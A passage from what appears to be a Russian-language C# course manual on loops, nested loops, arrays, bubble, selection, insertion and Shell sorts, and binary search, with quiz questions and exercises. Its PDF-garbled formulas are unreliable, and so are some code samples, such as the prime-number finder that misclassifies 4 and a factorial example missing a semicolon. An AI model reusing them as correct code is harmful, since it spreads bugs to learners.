A) Return
B)
Goto
C)
False
D)
Float
8.
Для чего служит оператор break ?
A) Для прекращения работы цикла и пропуска остатка цикла с
переходом к следующей итерации.
B)
Для принудительного выхода из цикла или переключателя.
C)
Для произведение нечетных чисел от 1 до 10 включительно.
D)
Во время работы данного оператора, тело цикла будет повторяться
9.
Оператор перехода к следующей итерации цикла – это ?
A) break
B)
continue
C)
float
D)
false
10. До каких пор тело цикла будет повторяться ?
A) до тех пор, пока условие цикла истинно.
B)
до тех пор, пока условие цикла закончится.
C)
до тех пор, пока условие цикла будет ложь.
D)
до тех пор, пока условие цикла будет вращаться.
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1.
Найти сумму целых положительных чисел из промежутка
от А до В, кратных 3 (А и В вводятся с клавиатуры).
2.
Найти количество делителей натурального числа. Сколько
из них четные?
3.
Дано натуральное n. Написать программу вычисления аn.
4.
Составить
алгоритм
для
расчета
функции
y=
ln(sin(x)+1)*0.15 при изменении x от 0 до 12 с шагом х=0.2.
5.
Самолет летит из пункта А к пункту В со средней скоростью
v. Составить алгоритм для нахождения времени полета t(1), если есть
встречный ветер, скорость которого v(1), и времени t(2), если ветра нет.
Расстояние между пунктами А и В считать известным и равным S.
Скорость ветра v(1) может изменяться от 0 до 15 м/с. Считать шаг
изменения v(1) =0.5м/с.
6.
Найти количество делителей натурального числа, больших
К (К вводится).
7.
Дана функция y=tg(x)+1. Написать программу для поиска
максимального значения y в промежутке x[2;2.8] с шагом 0,1.
8.
Дано вещественное число a, целое n. Вычислить: a (a-1) (a2)...(a-n).
9.
Получить таблицу пересчета миль в километры и обратно
(1 миля = 1,609344 км) для расстояний, не превышающих k км, в
следующем виде:
МИЛИ
КМ
0,6214
1,0000
1,0000
1,6093
10.
Дано целое число K. Найти сумму цифр числа К.
11.
Составить алгоритм для расчета функции у при х=0..15:
 x 3  3x, если x  1, x  0,2;

y   ( x  3) 3
, если x  1, x  0,5.

 x
Написать программу возведения натурального числа в
квадрат, используя следующую закономерность:
12=1
22=1+3
32=1+3+5
42=1+3+5+7
…
n2=1+3+5+7+…+2n-1
13.
Дана функция y=2x3+1 Написать программу для поиска
максимального значения y в промежутке x[-1;1] с шагом 0,2.
14.
Программа ждет ввода числа и в зависимости от количества
цифр в числе выдает сообщение об их разрядности: трехзначное,
пятизначное и т.д.
15.
Найти сумму десяти чисел кратных 3.
16.
Используя алгоритм Евклида, найти наименьшее общее
кратное (НОК) m и n.
17.
Вычислить (1-sin (0.1))+(1+sin (0.2))+ (1-sin (0.3))+ ...+(1+sin
(1.0)).
12.
Написать программу нахождения суммы чисел по правилу
(n-четно): a2+a4+a6+…+an.
19.
Дано натуральное число. Получить все его натуральные
делители.
20.
Дана функция y=0.5+sin(5x), причем х изменяется от 0 до 2
с шагом х=/6.
21.
Найти все натуральные числа от 1 до 1000, которые
совпадают с последними разрядами своих квадратов, например: 252 =
625, 762 = 5676.
22.
Дано целое число K. Найти произведение цифр числа К.
23.
Даны два натуральных числа. Получить их наибольший
общий делитель (НОД), используя алгоритм Евклида.
24.
Найти сумму четных делителей натурального числа.
25.
Написать программу нахождения суммы чисел по правилу
(n-нечетно): a1+a3+a5+…+an.
18.
Модуль 8.
Тема лекции: Виды циклов. Арифметические циклы.
1. Арифметические циклы
2. Рассмотрение примера по арифметическим циклам
Цель работы – изучить операторы, используемые при
организации программ циклических вычислительных процессов,
получить практические навыки в составлении программ. Научиться
применять арифметические и итерационные циклы. Получить
навыки работы с вложенными циклами.
Арифметические циклы
Арифметические циклы предназначены для вычислений с
заранее известным количеством повторений итераций. Для данного
вида циклов обычно используется оператор for, однако такую же
функциональность можно реализовать и при помощи циклов do
while и while.
Рассмотрим примеры использования арифметических циклов.
Например, необходимо вычислить значение факториала n!.
Факториал числа n (обозначается n!, произносится эн факториа́л)
– произведение всех натуральных чисел до n включительно: n! =
1*2*3*…*n.
По определению полагают 0! = 1.
Факториал определён только для целых неотрицательных чисел.
private void button1_Click(object sender, EventArgs e)
{
int n=Convert.ToInt32(textBox1.Text)
int nf = 1;
for (int i=1; i <= n; i++)
nf *= i;
MessageBox.Show(“nf-”+nf);
}
Однако шаг цикла может быть не только целым числом. При этом
определенность количества итераций останется.
Тема семинара: Итерационные циклы.
Для вычислений с заранее неизвестным количеством
повторений итераций обычно используются операторы while и do
while, однако C++ позволяет использовать для этих целей и оператор
for.
Циклический процесс, выполняющийся до достижения
некоторого
условия,
называется
итерационным.
Учитывая
неизвестность конечного числа шагов итерационного алгоритма,
необходимо предусмотреть вариант зацикливания и сформулировать
корректное условие для выхода из цикла. В самом простом случае, а
также на этапе отладки алгоритма, достаточно поставить лимит числа
шагов с выдачей сообщения в случае его исчерпания.
В
итерационных
алгоритмах
заданная
погрешность
используется
для
проверки
модуля
разности
найденного
приближенного и точного значений. В случае, когда точное значение
неизвестно, допустимо оценивать разность между соседними
итерациями.
Значащими цифрами числа называются все цифры в его
десятичной записи, кроме крайних левых и крайних правых нулей.
При решении задач, как правило, нет необходимости хранить
промежуточные итерации – достаточно получения окончательного
результата и (в итерационных алгоритмах) числа шагов, проделанных
для достижения условия – для оценки скорости сходимости
алгоритма.
Часто в задачах для вычисления очередного слагаемого удобно
рекуррентно использовать предыдущее слагаемое, а не организовывать
дополнительный (внутренний) цикл.
Тема лаб: Вложенные циклы
Часто возникают ситуации, когда внутри одного цикла
необходимо вычислить некоторое значение. И для его вычисления
необходимо также организовать цикл. В этом случае применяется
вложенность циклов.
Вложенные циклы могут быть как арифметическими, так
итерационными.
При записи программ со структурой вложенных циклов
необходимо обращать внимание на правильность размещения
внешнего и внутреннего циклов. Одни постановки задач допускают
смену мест внешнего и внутреннего циклов, а в других постановках
такая система приводит к неправильным результатам.
При записи программ со структурой сложенных циклов зона
действия внутреннего цикла должна располагаться в зоне действия
охватывающего цикла.
Рассмотрим пример использования вложенных циклов.
Составить программу вычисления значения функции
a
x

 1 
n 1
n
( x ln a)
n!
2
x ln a ( x ln a)
 1

 ...
1!
2!
подсчитав первые 10 слагаемых.
private void button1_Click(object sender, EventArgs e)
{
const int N = 10;
double a, x, y, y0;
a = Convert.ToDouble(textBox1.Text);
x = Convert.ToDouble(textBox2.Text);
y = 1;
for (int n = 1; n <= N; n++)
{
int nf = 1;
for (int m = 1; m <= n; m++)
nf *= m;
y += Math.Pow(x * Math.Log(a), n) / nf;
}
y0 = Math.Pow(a, x);
MessageBox.Show("Result of iterative calculation: " + y.ToString() + "
" + "Result of direct calculation: " + y0.ToString());
}
Рассмотрим переменные и порядок вычисления данного
примера.
Назначение переменных a и x понятно из формулы.
nf – переменная для хранения факториала.
y – переменная для хранения текущего значения суммы ряда.
y0 – переменная для хранения значения функции вычисленного
на основе стандартных математических функций.
В начале зададим число повторений цикла N и введем значения
a и x с клавиатуры.
Затем присваиваем начальное значение функции y (первое
слагаемое ряда равное 1).
Организуем внешний цикл для изменения значений n.
Внутри тела цикла задаем начальное значение nf равное 1. При
каждой итерации внешнего цикла оно будет сбрасываться обратно в 1.
Далее организуем вложенный (внутренний) цикл для
вычисления факториала: будем умножать nf на значение счетчика
цикла m. При этом m будет каждый раз увеличиваться на 1 до тех пор,
пока m не станет равным n, т.е. получим nf = 1*2*3*…*n.
Затем вычисляем новое значение функции y (суммы ряда) путем
добавления нового слагаемого из формулы.
Далее, по завершению цикла, вычисляем значение функции через
стандартные функции языка C# и выводим полученные значения на
экран.
Тема СРСП – 1.Анализ программы
Условие задачи
Создайте программу, которая находит
заданного диапазона.
Форма заданной задачи имеет вид:
простые
числа
из
Программный код имеет следующий вид:
namespace vlozh_sicl
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
//нахождение простых чисел из заданного диапoзона
private void button1_Click(object sender, EventArgs
e)
{
int
a=Convert.ToInt32(Microsoft.VisualBasic.Interaction.InputBox
("Введите начало диапозона"));
int b =
Convert.ToInt32(Microsoft.VisualBasic.Interaction.InputBox("
Введите конец диапозона"));
bool scht = false; // это переключатель для того
что бы определить найден ли какойто делитель
string txt = ""; // переменная для хранения
найденных простых чисел делителем будет пробел
for (int i = a; i < b; i++)
{
for (int j = 2; j < i/2; j++)
{
if (i % j == 0)
{
scht = true;
}
}
if (scht != true)
{
txt += i.ToString() + " ";
}
scht = false;
}
MessageBox.Show(txt);
}
}
}
Тема СРСП – 2. Создание программы «Таблица умножения»
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace BD
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
string txt = "";
for (int i = 1; i <= 10; i++)
{
for (int j = 1; j <=10; j++)
{
txt+=i.ToString()+"*"+j.ToString()+"="+(i*j).ToString()+" ";
}
txt += "\r\n";
}
textBox1.Text = txt;
}
}
}
Тема СРСП – 3. Методы элемента Inputbox
Элемент Inputbox - отображает приглашение в диалоговом окне,
ожидает ввода текста или нажатия кнопки и возвращает строку,
являющуюся содержимым текстового поля.
Параметры
Prompt
Тип: System.String
Требуется выражение типа String, отображаемое в диалоговом
окне в виде сообщения. Максимальная длина
параметра Prompt составляет примерно 1024 знака и зависит от
ширины используемых знаков. Если Prompt состоит из
нескольких строк, то строки можно разделить с помощью знака
возврата каретки (Chr( 13 )), знака перевода строки (Chr( 10 )) или
сочетания возврата каретки/перевода строки
(Chr( 13 ) и Chr( 10 )) после каждой строки.
Title
Тип: System.String
Необязательно. Выражение типа String, отображаемое в строке
заголовка диалогового окна. Если параметр Title опущен, в
строку заголовка помещается имя приложения.
DefaultResponse
Тип: System.String
Необязательно. Выражение типа String, отображаемое в качестве
ответного сообщения по умолчанию, если ничего другого не
было введено. Если параметрDefaultResponse опущен,
отображаемое текстовое поле будет пустым.
XPos
Тип: System.Int32
Необязательно. Числовое выражение, которое задает расстояние
в твипах между левым краем диалогового окна и левым краем
экрана. Если параметр XPosопущен, то диалоговое окно
центрируется по горизонтали.
YPos
Тип: System.Int32
Необязательно. Числовое выражение, которое задает расстояние
в твипах между верхним краем диалогового окна и верхним
краем экрана. Если параметрYPos опущен, то диалоговое окно
располагается на уровне, составляющем примерно треть высоты
экрана.
Контрольные вопросы:
1.
2.
3.
4.
5.
6.
Какие виды циклов существуют?
Что такое итерационный цикл?
В каких случаях используют арифметические циклы?
Как организовать вложенные циклы?
Что такое вложенный цикл?
Каково предназначение арифметических циклов?
образом их можно реализовать?
7. Каково предназначение вложенных циклов?
8. Какими методами обладает элемент InputBox?
9. Как подключит ссылку в Microsoft Studio C#?
Каким
ТЕСТЫ:
1.
A)
B)
C)
D)
2.
A)
B)
C)
D)
3.
A)
B)
C)
D)
4.
A)
B)
C)
D)
5.
A)
B)
C)
D)
6.
a
b
Для чего используются арифметические циклы ?
Для вычислении с заранее известным количеством
повторений
Для вычислении с заранее не известным количеством
повторений
Таких циклов не существует
Для работы с математическими библиотеками
Какой оператор в основном используется для создания
арифметических циклов?
While
For
Do while
Do loop
Какой цикл называется вложенным?
Если в состав цикла входят другие операторы
Если один цикл входит в состав другого цикла
Если в цикле используется вложенные выражения
Если в цикле используются строковые переменные
Может ли зона действия внутреннего цикла быть вне
зоны охватывающего цикла?
Да
Нет
Да если используется математическая библиотека math.h
Нет если используется математическая библиотека math.h
Могут ли вложенные циклы быть как арифметическими?
Нет
Да
Вложенные цыкли могут быть только итреационными
Арифметических циклов не бывает
Какое из ниже приведенных примеров создания цикла for
правильный:
For ( i=0;i<=10;i++)
For (i<=10; i=10;i+-)
c For (i++;i<=10; i=0)
d For (i=10;i>10; ++i)
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
Вычислить и вывести на экран в виде таблицы значение функции
y(x) на интервале от x0 до xn с шагом dx. A, B, C, D, X, x0, xn и dx вещественные числа, значения которых вводятся с клавиатуры.
Для операций ввода использовать возможности элемента
InputBox.
1.
3
2

Y  A * X  B * X  C * X  D, если   ;

2
2
2

Y  2 * A * X  4 * B * X  8 * C * X  10 * D, иначе
2.
Y  2 * A * X 4  B * X 3  C * X 2  2 * D, если A  B

Y  10 * A * X  4 * B * X 2  C * X 3  D 2 , иначе
3.
Y  A  B  C * X 2  D 3 , если A  C

Y  A * X 4  B * X  C * X 3  D, иначе
4.
4
2

Y  A * X  B * X  C * X  D ,. если B  C

3
2

Y  ( A  B) * X  5 * C * X  D, иначе
5.
Y  A * X 2  ( B  C ) * X 3  D, если B  C

Y  4 * X  2 * B * X  8 * C * X 2  D, иначе
6.
Y  A 2 * X  B * X 2  C * X 3  D, если A  C

Y  A 3 * X  B 2 * X 2  C * X 3  D, иначе
7.
Y  ( A  B) * X 2  (C  D) * X 3 , если A  B

Y  ( A  B) * X 2  (C  D) * X 3 , иначе
8.
Y  ( A  B) * X 2  (C  D) * X 4 , если C  D

Y  ( A  B) * X 2  (C  D) * X 4 , иначе
9.
Y  ( A  B  C ) * X  D, если A  B  C

3
Y  ( A  B  C ) * X  D, иначе
10.
Y  A * X 4  ( B  C  D) * X 2 , если B  C  D

Y  A * X 4  ( B  C  D) * X 2 , иначе
11.
 Y  A * X 4  B * X 2  C * X  D, если   ;

2
2
Y  2 * A * X  4 * B * X  8 * C * X  10 * D, иначе
12.
Y  2 * A * X 4  B * X 3  C * X 2  2 * DX , если A  B

2
3
4
Y  10 * A * X  4 * B * X  C * X  D , иначе
13.
Y  A  B  C * X 2  D 3 , если A  C

4
3
Y  A * X  2 * B * X  C * X  D, иначе
14.
Y  A * X 3  B * X 2  C * X 4  D 2 ,. если B  C

3
2
Y  ( A  B ) * X  5 * C * X  D, иначе
15.
Y  A * X 2  ( B  C ) * X 3  D, если B  C

3
4
2
Y  4 * X  2 * B * X  8 * C * X  D, иначе
16.
Y  A2 * X  B * X 2  C * X 3  D, если A  C

3
2
2
3
Y  A * X  B * X  C * X  D, иначе
17.
18.
19.
2
3

Y  ( A  B) * X  (C  D) * X , если A  B

2
3

Y  ( A  B) * X  (C  D) * X , иначе
2
4

Y  ( A  B) * X  (C  D) * X , если C  D

2
4

Y  ( A  B) * X  (C  D) * X , иначе
Y  ( A  B  C ) * X  D, если A  B  C

3
Y  ( A  B  C ) * X  D, иначе
Модуль 9.
Тема лекции: Массивы в С#. Одномерные массивы
При использовании простых переменных каждой области
памяти для хранения одной величины соответствует свое имя. Если же
требуется работать с группой величин одного типа, их располагают в
памяти последовательно и дают им общее имя, а различают по
порядковому номеру. Такая последовательность однотипных величин
называется массивом.
Массивы представляют собой ограниченную упорядоченную
совокупность однотипных величин. Более формально массив можно
определить как последовательную упорядоченную совокупность
элементов некоторого типа, которые адресуются с помощью
некоторого индекса. Каждая отдельная величина называется
компонентой массива. Тип компонент может быть любым основным
или пользовательским типом данных. Он называется базовым типом.
Вся совокупность компонент определяется одним именем. Для
обозначения отдельных компонент используется конструкция,
называемая переменной с индексом или с индексами. Переменная с
индексом представляет собой имя массива, вслед за которым в
квадратных скобках записывается индекс (или индексы).
Описание массива выглядит следующим образом:
базовый_тип
[размерность];
[]
имя_массива
=
new
тип_элементов
Размерность – это количество его элементов массива.
Например:
//одномерный массив целочисленного типа из 5 элементов
int [] array = new int [5];
//одномерный массив вещественного типа из N элементов
double [] mas = new double [5];
При описании массив можно инициализировать, то есть
присвоить его элементам начальные значения:
базовый_тип [] имя_массива = {начальные_значения};
Для хранения инициализаторов массива в С# автоматически
распределяется достаточный объем памяти. А
необходимость
пользоваться оператором new явным образом отпадает сама собой.
Элементы массивов нумеруются с нуля, поэтому максимальный
номер элемента всегда на единицу меньше размерности.
Границы массива в С# строго соблюдаются. Если границы
массива не достигаются или же превышаются, то возникает ошибка
при выполнении.
Для доступа к элементу массива после его имени указывается
номер элемента (индекс), в квадратных скобках:
имя_массива [индекс];
Элемент массива считается переменной: он может получать значения
(например, в операторе присваивания), а также участвовать в
выражениях.
Тема семинара: Алгоритмы обработки массивов
1.1. Ввод-вывод элементов одномерного массива
При вводе массива необходимо последовательно вводить 1-й, 2-й, 3-й и
т.д. элементы массива, аналогичным образом поступить и при выводе.
Следовательно, необходимо организовать цикл.
Блок-схемы алгоритмов ввода элементов массива изображены на рис.
1.3-1.4.
Рис 1.3 Алгоритм ввода массива с
использованием цикла с
предусловием
Рис. 1.4. Алгоритм ввода
массива с использованием
безусловного цикла
Как видно, безусловный цикл удобно использовать для обработки
всего массива, и в дальнейшем при выполнении таких операций
будем применять именно его. Вывод массива организуется аналогично
вводу.
Рассмотрим несколько примеров обработки массивов. Алгоритмы, с
помощью которых обрабатывают одномерные массивы, похожи на
обработку последовательностей (вычисление суммы, произведения,
поиск элементов по определенному признаку, выборки и т. д.).
Отличие заключается в том, что в массиве одновременно доступны все
его компоненты, поэтому становится возможной, например,
сортировка его элементов и другие, более сложные преобразования.
1.2. Вычисление суммы элементов массива
Дан массив X, состоящий из n элементов. Найти сумму элементов
этого массива. Процесс накапливания суммы элементов массива
достаточно прост и практически ничем не отличается от
суммирования значений некоторой числовой последовательности.
Переменной S присваивается
значение
равное нулю,
затем
последовательно суммируются элементы массива X. Блок-схема
алгоритма расчета суммы приведена на рис. 3.5.
1.3. Вычисление произведения элементов массива
Дан массив X, состоящий из n элементов. Найти произведение
элементов этого массива. Решение этой задачи сводится к тому, что
значение
переменной Р,
в
которую
предварительно
была
записана единица, последовательно умножается на значение i-го
элемента массива. Блок-схема алгоритма приведена на рис. 3.6.
Рис. 1.5. Алгоритм вычисления
Рис. 1.6. Вычисление
суммы элементов массива
произведения элементов массива
1.4. Поиска максимального элемента в массиве и его номера
Дан массив X, состоящий из n элементов. Найти максимальный
элемент массива и номер, под которым он хранится в массиве.
Алгоритм решения задачи следующий. Пусть в переменной с
именем Max хранится значение максимального элемента массива, а в
переменной с именем Nmax - его номер. Предположим, что первый
элемент массива является максимальным, и запишем его в
переменную Max, а в Nmaxзанесем его номер, то есть - 1. Затем все
элементы, начиная со второго, сравниваем в цикле с максимальным.
Если текущий элемент массива оказывается больше максимального,
то записываем его в переменную Max, а в переменную Nmax - текущее
значение индекса i. Процесс определения максимального элемента в
массиве приведен в таблице 3.1 и изображен при помощи блок-схемы
на рис. 3.7.
Таблица 1.1. Определение максимального элемента и его
номера в массиве
Номера элементов
1
2
3
4
5
6
7
Исходный массив
4
7
3
8
9
2
5
Значение переменной Max
4
7
7
8
9
9
9
Значение
переменной Nmax
1
2
2
4
5
5
5
Рис. 1.7. Поиск максимального элемента и его номера в массиве
Совет. Алгоритм поиска минимального элемента в массиве будет
отличаться от приведенного выше лишь тем, что в условном блоке знак
поменяется с > на <.
1.5. Сортировка элементов в массиве
Сортировка представляет собой процесс упорядочения элементов в
массиве в порядке возрастания или убывания их значений. Например,
массивX из n элементов будет отсортирован в порядке возрастания
значений его элементов, если X1 ≤ X2 ≤...≤ Xn, и в порядке убывания,
если X1 ≥ X2 ≥ ...≥ Xn.
Существует большое количество алгоритмов сортировки, но все они
базируются на трех основных:



сортировка обменом;
сортировка выбором;
сортировка вставкой.
Представим, что нам необходимо разложить по порядку карты в
колоде. Для сортировки карт обменом можно разложить карты на
столе лицевой стороной вверх и менять местами те карты, которые
расположены в неправильном порядке, делая это до тех пор, пока
колода карт не станет упорядоченной.
Для сортировки выбором из разложенных на столе карт выбирают
самую младшую (старшую) карту и держат ее в руках. Затем из
оставшихся карт вновь выбрать наименьшую (наибольшую) по
значению карту и помещают ее позади той карты, которая была
выбрана первой. Этот процесс повторяется до тех пор, пока вся колода
не окажется в руках. Поскольку каждый раз выбирается наименьшая
(наибольшая) по значению карта из оставшихся на столе карт, по
завершению такого процесса карты будут отсортированы по
возрастанию (убыванию).
Для сортировки вставкой из колоды берут две карты и располагают
их в необходимом порядке по отношению друг к другу. Каждая
следующая карта, взятая из колоды, должна быть установлена на
соответствующее место по отношению к уже упорядоченным картам.
Итак, решим следующую задачу. Задан массив Y из n целых чисел.
Расположить элементы массива в порядке возрастания их значений.
1.5.1. Сортировка методом "пузырька"
Сортировка пузырьковым методом является наиболее известной. Ее
популярность объясняется запоминающимся названием, которое
происходит из-за подобия процессу движения пузырьков в резервуаре
с водой, когда каждый пузырек находит свой собственный уровень, и
простотой алгоритма.
Сортировка методом "пузырька" использует метод обменной
сортировки и основана на выполнении в цикле операций сравнения и
при необходимости обмена соседних элементов. Рассмотрим
алгоритм пузырьковой сортировки более подробно.
Сравним первый элемент массива со вторым, если первый окажется
больше второго, то поменяем их местами. Те же действия выполним
для второго и третьего, третьего и четвертого, i-го и (i+1)-го, (n-1)-го и
n-го элементов. В результате этих действий самый большой элемент
станет на последнее n-е место. Теперь повторим данный алгоритм
сначала, но последний n-й элемент, рассматривать не будем, так как
он уже занял свое место. После проведения данной операции самый
большой элемент оставшегося массива станет на (n-1)-е место. Так
повторяем до тех пор, пока не упорядочим весь массив.
В табл.1.2 подробно расписан процесс упорядочивания элементов в
массиве. Нетрудно заметить, что для преобразования массива,
состоящего из n элементов, необходимо просмотреть его n-1 раз,
каждый раз уменьшая диапазон просмотра на один элемент. Блоксхема описанного алгоритма приведена на рис. 1.8. Обратите
внимание на то, что для перестановки элементов (блок 4) используется
буферная переменная b, в которой временно хранится значение
элемента, подлежащего замене.
Таблица 1.2. Процесс упорядочивания
элементов в массиве по возрастанию
Номер элемента
1
2
3
4
5
Исходный массив
7
3
5
4
2
Первый просмотр
3
5
4
2
7
Второй просмотр
3
4
2
5
7
Третий просмотр
3
2
4
5
7
Четвертый
просмотр
2
3
4
5
7
Совет. Для перестановки элементов в массиве по убыванию их значений
необходимо при сравнении элементов массива заменить знак > на <.
Рис. 3.8. Сортировка массива
пузырьковым методом
1.5.2. Сортировка выбором
Рис. 1.9. Сортировка массива выбором
наибольшего элемента
Алгоритм сортировки выбором приведен в виде блок-схемы на рис.
1.9. Найдем в массиве самый большой элемент (блоки 3-7) и поменяем
его местами с последним элементом (блок 8). Повторим алгоритм
поиска
максимального
элемента,
уменьшив
количество
просматриваемых элементов на единицу (блок 9), и поменяем его
местами с предпоследним элементом (блоки 3-7). Описанную выше
операцию поиска проводим до полного упорядочивания элементов в
массиве. Так как в блоке 9 происходит изменение переменной n, то в
начале алгоритма ее значение необходимо сохранить (блок 1).
Совет. Для упорядочивания массива по убыванию необходимо перемещать
минимальный элемент.
1.5.3. Сортировка вставкой
Сортировка
вставкой заключается
в
том,
что
сначала
упорядочиваются два элемента массива. Затем делается вставка
третьего элемента в соответствующее место по отношению к первым
двум элементам. Четвертый элемент помещают в список из уже
упорядоченных трех элементов. Этот процесс повторяется до тех пор,
пока все элементы не будут упорядочены.
Прежде чем приступить к составлению блок-схемы рассмотрим
следующий пример. Пусть известно, что в массиве из восьми
элементов первые шесть уже упорядочены, а седьмой элемент нужно
вставить между вторым и четвертым. Сохраним седьмой элемент во
вспомогательной переменной, так как показано на рисунке 1.10, а на
его место запишем шестой. Далее пятый переместим на место
шестого, четвертый на место пятого, а третий на место четвертого, тем
самым, выполнив сдвиг элементов массива на одну позицию вправо.
Записав содержимое вспомогательной переменной в третью позицию,
достигнем нужного результата.
Рис. 1.10. Процесс вставки элемента в массив
Составим блок-схему алгоритма (рис. 1.11), учитывая, что возможно
описанные выше действия придется выполнить неоднократно.
Организуем цикл для просмотра всех элементов массива, начиная со
второго (блок 4). Сохраним значение текущего i-го элемента во
вспомогательной переменной X, так как оно может быть потеряно при
сдвиге элементов (блок 5) и присвоим переменной j значение индекса
предыдущего (i-1)-го элемента массива (блок 6). Далее движемся по
массиву влево в поисках элемента меньшего, чем текущий и пока он
не найден сдвигаем элементы вправо на одну позицию. Для этого
организуем цикл (блок 7), который прекратиться, как только будет
найден элемент меньше текущего. Если такого элемента в массиве не
найдется и переменная j станет равной нулю, то это будет означать,
что достигнута левая граница массива, и текущий элемент
необходимо установить в первую позицию. Смещение элементов
массива вправо на одну позицию выполняется в блоке 8, а изменение
счетчика j в блоке 9. Блок 10 выполняет вставку текущего элемента в
соответствующую позицию.
Тема лаб: Анализ программы
Пример 1.
/* Дан одномерный массив.
* а) заполнить массив случайными числами
* б) найти максимальное значение
* в) вычислить сумму элементов массива
*/
private void button1_Click(object sender, EventArgs e)
{
int n = Convert.ToInt32(Microsoft.VisualBasic.Interaction.InputBox
("Введите количество элементов массива "));
int[] mas = new int[n];
// а) заполнить массив случайными числами
Random r = new Random();
for (int i = 0; i < n; i++)
{
mas[i] = r.Next(100);
}
// б) найти максимальное значение
int max = mas[0];
for (int i = 1; i < n; i++)
{
if (max<mas[i])
{
max = mas[i];
}
}
// в) вычислить сумму элементов массива
int summ = 0;
for (int i = 0; i < n; i++)
{
summ += mas[i];
}
MessageBox.Show("Максимальный элемент- " + max.ToString());
MessageBox.Show("Сумма элементов массива = " +
summ.ToString()); }
Пример 2.
/* Дан одномерный массив.
* а) ввести значения с клавиатуры
* б) найти минимальное значение
* в) вывести отрицательные значения
*/
private void button1_Click(object sender, EventArgs e)
{
int n = Convert.ToInt32(Microsoft.VisualBasic.Interaction.InputBox
("Введите количество элементов массива "));
int[] mas = new int[n];
// а) ввести значения с клавиатуры
Random r = new Random();
for (int i = 0; i < n; i++)
{
mas[i] = Convert.ToInt32(Microsoft.VisualBasic.Interaction.InputBox
("Значение "+(i+1).ToString()+"- ого элемента"));
}
// б) найти минимальное значение
int min = mas[0];
for (int i = 1; i < n; i++)
{
if (min>mas[i])
{
min = mas[i];
}
}
// вывести отрицательные значения
string txt = "";
for (int i = 0; i < n; i++)
{
if (mas[i]<0)
{
txt += mas[i].ToString() + " ";
}
}
MessageBox.Show("Минимальный элемент- " + min.ToString());
MessageBox.Show(txt); }
Тема СРСП – 1.Бинарный описк
Когда поиск некоторого элемента необходимо осуществить в
упорядоченной по возрастанию или убыванию последовательности,
тогда применим алгоритм двоичного (бинарного) поиска. Метод
использует стратегию «разделяй и властвуй», а именно: заданная
последовательность делится на две равные части и поиск
осуществляется в одной из этих частей, которая потом также делится
надвое, и так до тех пор, пока обнаружится наличие искомого
элемента или его отсутствие. Использовать эту операцию, уменьшая
каждый раз зону поиска вдвое, позволительно лишь исходя из того
факта, что элементы последовательности заранее упорядочены. Найдя
средний элемент (сделать это, зная число элементов массива, не
составит труда), и сравнив его значение с искомым, можно уверено
сказать, где относительно среднего элемента находится искомый
элемент.
Далее, будем полагать, что элементы массива располагаются в
порядке возрастания, поскольку нет существенной разницы, как
именно они упорядочены: по возрастанию или убыванию значение.
Также обозначим границы зоны поиска через left и right – крайний
левый и крайний правый элементы соответственно.
Ход работы алгоритма, разделенный на этапы, выглядит
следующим образом:
1.
зона поиска (на первом шаге ей является весь массив)
делиться на две равные части, путем определения ее среднего (mid)
элемента;
2.
средний элемент сравнивается с искомым (key),
результатом этого сравнения будет один из трех случаев:
key<mid. Крайней правой границей области поиска
становится элемент, стоящий перед средним (right ← mid-1);
key>mid. Крайней левой границей области поиска
становится следующий за средним элемент (left ← mid+1);
key=mid. Значения среднего и искомого элементов
совпадают, следовательно элемент найден, работа алгоритма
завершается.
3.
если для проверки не осталось ни одного элемента, то
алгоритм завершается, иначе выполняется переход к пункту 1.
В таблице ниже представлен конкретный целочисленный массив,
и
пошаговое
выполнение
алгоритма
бинарного
поиска
применительно к его элементам. Для экономии места в таблице left,
right и mid заменены на a, b и c.
Имеется последовательность целых чисел, расположенных в
порядке возрастания, а также ключ – число 16. Изначально
граничными элементами являются элементы с номерами 1 и 9, и
значениями 1 и 81. Вычисляется номер среднего элемента, для чего,
как правило, используется формула (right+left)/2, либо left+(right-left)/2
(далее, в программах будет использована вторая формула, как
наиболее устойчивая к переполнениям). После сравнения оказывается,
что искомый элемент меньше среднего, и поэтому последующий
поиск осуществляется в левой части последовательности. Алгоритм
продолжает выполняться подобным образом, до нахождения на 4
шаге искомого элемента.
Стоит отметить, что здесь потребуется гораздо меньше времени,
чем, если бы мы воспользовались линейным поиском, но в отличие от
линейного поиска двоичный работает только с массивами, элементы
которых упорядочены, что, несомненно, придает ему отрицательной
специфичности.
Тема СРСП – 2.Программа сортировки массива методом
пузырка.
using System;
using System.Collections.Generic;
class Program
{
static void Main(string[] args)
{
const int row = 2;
const int col = 8;
int[,] array = { { 1, 2, 3, -2, -49, 0, 3, 2 }, { 22, 56, 76, -2, 0, -52, 4, 9 } };
for (int i = 0; i < row; ++i)
{
var stack = new Stack<int>();
for (int j = 0; j < col - 1; ++j)
for (int k = j + 1; k < col; ++k)
{
if (array[i, k] < array[i, j])
{
stack.Push(array[i, k]);
array[i, k] = array[i, j];
array[i, j] = stack.Pop();
}
}
}
for (int i = 0; i < row; ++i)
{
for (int j = 0; j < col; ++j)
Console.Write(array[i, j].ToString() + ' ');
Console.WriteLine("");
}
Console.ReadKey();
}
}
Тема СРСП – 3.Программа сортировки массива методом
Шелле.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Sort
{
class Program
{
static void Main()
{
// Считываем размер массива,
// который необходимо отсортировать
int size;
Console.WriteLine("Введите количество элемент");
size = Convert.ToInt32(Console.ReadLine());
// Динамически выделяем память под
// хранение массива размера size
int[] a = new int[size];
//считываем строку
Console.WriteLine("Введите элементы через пробел");
string str = Console.ReadLine();
//разбиваем по пробелам
string[] mas = str.Split(' ');
//парсим в массив
for (int i = 0; i < size; i++)
{
a[i] = int.Parse(mas[i]);
}
int step = size / 2;//инициализируем шаг.
while (step > 0)//пока шаг не 0
{
for (int i = 0; i < (size - step); i++)
{
int j = i;
//будем идти начиная с i-го элемента
while (j >= 0 && a[j] > a[j + step])
//пока не пришли к началу массива
//и пока рассматриваемый элемент больше
//чем элемент находящийся на расстоянии шага
{
//меняем их местами
int temp = a[j];
a[j] = a[j + step];
a[j + step] = temp;
j--;
}
}
step = step / 2;//уменьшаем шаг
}
// Выводим отсортированный массив
